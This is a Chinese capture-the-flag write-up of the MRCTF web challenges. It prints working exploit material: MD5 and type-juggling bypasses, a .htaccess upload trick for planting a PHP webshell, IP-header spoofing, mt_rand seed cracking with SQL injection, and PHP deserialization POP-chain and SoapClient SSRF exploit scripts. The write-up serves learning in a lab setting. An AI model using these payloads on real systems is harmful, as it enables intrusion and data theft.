和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的

Ez_bypass

进入题目得到源码:

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
} }
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
?>

第一层: md5($id) === md5($gg) && $id !== $gg

MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2

第二层: !is_numeric($passwd) &&  $passwd==1234567

is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可  POST: passwd=1234567a

你传你呢

出题人脾气挺爆的啊,进入题目直接给了一个上传点:

fuzz一下发现后端过滤了所有拓展名中含ph的文件,并且有Content-Type验证

服务器是Apache,不难想到利用.htaccess来将jpg文件当作php文件解析

写一个.htaccess文件,源码如下:

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传时注意抓包修改 Content-Type: image/jpeg

上传成功后上传一个jpg拓展名的一句话木马,得到Shell,Flag在根目录下:

PYwebsite

进入题目查看源代码得到一段验证的Js代码:

    function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
} }

发现md5验证成功后会跳转到/flag.php,跟进文件看一下:

细品红框中的话,添加XFF头为127.0.0.1  X-Forwarded-For: 127.0.0.1 ,得到Flag:

(这里的一个坑是输出的Flag是白色的,如果没有用Burp或者其他工具看源码,就要右键框选一下文字才能看到)

套娃

第一层,Ctrl+U 查看源代码:

//1st
$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

NCTF原题改编,构造Payload:

第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过

第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过

最终Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A

得到提示:FLAG is in secrettw.php

进入secrettw.php,右键源代码发现注释中有JsFuck,放进F12运行一下得到:

POST:Merak=1 即可得到源码:

<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php'; if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die(); //注意这里!如果POST了Merak就会Die
} //重点在这个加密函数上
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

分析思路:首先用file_get_contents()函数获取2333参数的内容,要求获取到的内容为todat is a happy day;其次是验证IP是否为127.0.0.1;最后是用解密函数对file参数解密,然后包含输出file参数的值;

第一层用data伪协议就可以直接绕过 index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

第二层IP验证测试了一下常用的Header,发现Client-IP可以绕过,添加Header: Client-IP: 127.0.0.1

第三层对file参数进行了一个解密,反推出加密脚本:

<?php
function enc($payload){
for($i=0; $i<strlen($payload); $i++){
$re .= chr(ord($payload[$i])-$i*2);
}
return base64_encode($re);
}
echo enc('flag.php');
//flag.php加密后得到:ZmpdYSZmXGI=
?>

最终Payload: index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=

Header添加: Client-IP: 127.0.0.1

Ezaudit

www.zip源码泄露,里面只有一个index.php文件:

<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
} else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; //直接SQL注入 万能密码就能过去
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
} } //代码简化了一下
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < 16; $i++ )
$public_key .= substr($strings1, mt_rand(0, 61), 1); //BJDCTF 1st 枯燥的抽奖原题
return $public_key;
} //genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < 12; $i++ )
$private_key .= substr($strings2, mt_rand(0, 61), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

大概看了一下,这段代码需要三个参数: username(crispr) 、  password(万能密码)  、   Private_key(私钥) 
只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。
根据公钥爆破出mt_rand()的种子:

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+''+' '+str(len(str1)-1)+' '
break
print res

得到种子后再用php_mt_seed爆破一下得到种子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

写个脚本播撒种子,推出私钥:

<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
} function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key()."\n";
echo private_key();
?>

得到私钥为  XuNhoueCDCGc

得到私钥,然后在login.html页面用万能密码登陆进去得到Flag

Ezpop

很适合入门者的一道简单反序列化构造Pop链的题目,进入题目,给出源码:

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

出题人还顺带给出了魔法函数的学习地址,这里列出来吧:

__construct()  //当一个对象创建时被调用
 __destruct()  //当一个对象销毁时被调用
 __toString()   //当一个对象被当作一个字符串使用
 __sleep()  //在对象在被序列化之前运行
 __wakeup()  //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
 __get()  //获得一个类的成员变量时调用
 __set()  //设置一个类的成员变量时调用
 __invoke()  //调用函数的方式调用一个对象时的回应方法
 __call()  //当调用一个对象中的不能用的方法的时候就会执行这个函数

然后来分析一下这道题的pop链构造:

 调用__wakeup() -> 触发__tostring() -> source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)  

具体代码层面的逻辑分析可以看官方wp:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//8.触发这个include,利用php base64 wrapper 读flag
}
public function __invoke(){
$this->append($this->var);//7.然后会调用到这里
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
} public function __wakeup(){//2.如果pop是个Show,那么调用这里
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;//5.触发到这里
return $function();//6.()会调用__invoke,我们这里选择Modifier对象
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.反序列调用这里
}
else{
$a=new Show;
highlight_file(__FILE__);
}

Exp:

<?php
class Modifier{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
} class Test{
public $p;
} class Show{
public $source;
public $str;
} $s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

Ezpop Revenge

这道题当时没做出来,找到反序列化位点了,也知道是一个SOAP反序列化,但是就是没有找到输入点,也没查到调用类的地方,代码量太大最后也没审计出来。

题目中www.zip泄露源码,然后发现是typecho的源码,但是被魔改了一下,网上查不到有用的CVE,然后开始审计代码,最后在 HelloWorld/Plugin.php 找到反序列化点:

if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|op|sy|exec|dl|ini|pass|scan|log|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
//call_user_func("call_user_func",array($a,"233"));
}
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}

大部分师傅应该都做到了这里,接下来一步才是卡住师傅们的地方。

找到反序列化点之后我们需要找调用类的输入点,NotePad++用关键词搜了半天没搜到,最后发现在 Typecho/Plugin.php  里有一个路由:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

放出官方的Exp:

<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct($coincidence){
$this->coincidence = $coincidence;
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Request{
private $_params;
private $_filter;
function __construct($params,$filter){
$this->_params=$params;
$this->_filter=$filter;
}
}
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
} $target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
); $a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab")); $payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));

用payload打一次刷新下页面var_dump()就会dumpflag出来了

Not So Web Application(谜之Web-Re)

这道题真的不想多说,放在Web分类里,最后其实是wasm的逆向调试,扔给Re师傅,Re师傅看到几百万行代码之后直接把我拉黑了!对,拉黑了!

官方的Wp也是只言片语,原谅我太菜了复现不出来:

首先是题目说明,这玩意本来没这么恶心(没伪装加上 User 和 SQL 那个 SVG)
本题主要难点在于 Web Assembly 至今没有个能用的调试器,所以需要多种手段动调+静态调试。
可以先通过和其他 Qt for Web Assembly 程序比对,去掉一大半疑似函数,同时可以通过搜索字符串(Incorrect等)确定大概相关函数位置。
同时通过给输入框塞入大量垃圾(>64KB,wasm基本内存单位)触发内存越界错误找到变量存储位置。最终在浏览器里动调和 wasm2c 的辅助可以找到flag加密后内容和比对算法。

[MRCTF]Web WriteUp的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  3. MRCTF 部分WriteUp

    前言 周末做了一下北邮的CTF,这里记录一下做出来的几道题.(PS:比较菜有很多没做出来 >_< ,还是要更加努力学习啊(ง •̀o•́)ง,剩下的等大佬们出了wp后在复现一下) Web ...

  4. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  5. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  6. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

  7. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  8. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  9. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

随机推荐

  1. python的单下划线和双下划线

    python 类中的单下划线开头的变量表示:该方法为类的私有方法,原则上外部不能访问,但是用._XX是可以访问到的 双下划线开头则是强制外部不能直接访问的用.__XX是访问不到的,它内部其实是将变量名 ...

  2. IDEA-Translation最优秀的翻译插件

    IDEA最优秀的翻译插件 效果 特性 多翻译引擎 Google翻译 有道翻译 百度翻译 多语言互译 文档翻译 语音朗读 自动选词 自动单词拆分 单词本 使用 申请有道智云翻译服务(可选): 注册有道智 ...

  3. 【Linux】添加Nginx代理配置只允许内部IP访问

    location / { index index.jsp; proxy_next_upstream http_500 http_502 http_503 http_504 error timeout ...

  4. csapp第九章笔记-虚拟内存

    目录 物理与虚拟寻址 地址空间 虚拟内存作为缓存的工具 虚拟内存作为内存管理的工具 虚拟内存作为内存保护的工具 地址翻译 使用TLB(翻译后备缓冲器)加速地址翻译 多级页表 物理与虚拟寻址 计算机系统 ...

  5. 2020-05-16:如何保证redis和mysql数据一致?

    福哥答案2020-05-16:

  6. C#LeetCode刷题之#35-搜索插入位置(Search Insert Position)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3979 访问. 给定一个排序数组和一个目标值,在数组中找到目标值, ...

  7. linux下免密登录配置

    1.首先大家先开三台虚拟机 2.回到首层. 2.1:编辑文件:    vim /etc/ssh/sshd_config 3:在master的linux上生成ssh密钥: ssh-keygen -t r ...

  8. 使用halo搭建自己的博客并配置https域名访问

    首先进行java配置 # 1. 下载jdk [下载地址](https://www.oracle.com/cn/java/technologies/javase-downloads.html) - 一定 ...

  9. Linux学习笔记 一 第一章 Linux 系统简介

    Linux简介 一.UNIX与Linux发展史

  10. JVM中对象模型及相应名词概念

    JVM中对象模型及相应名词概念 java对象在jvm中的模型是OOP-Klass 模型: klass klass对应元数据,包括常量池.字段.方法等.是在加载class阶段创建instanceKlas ...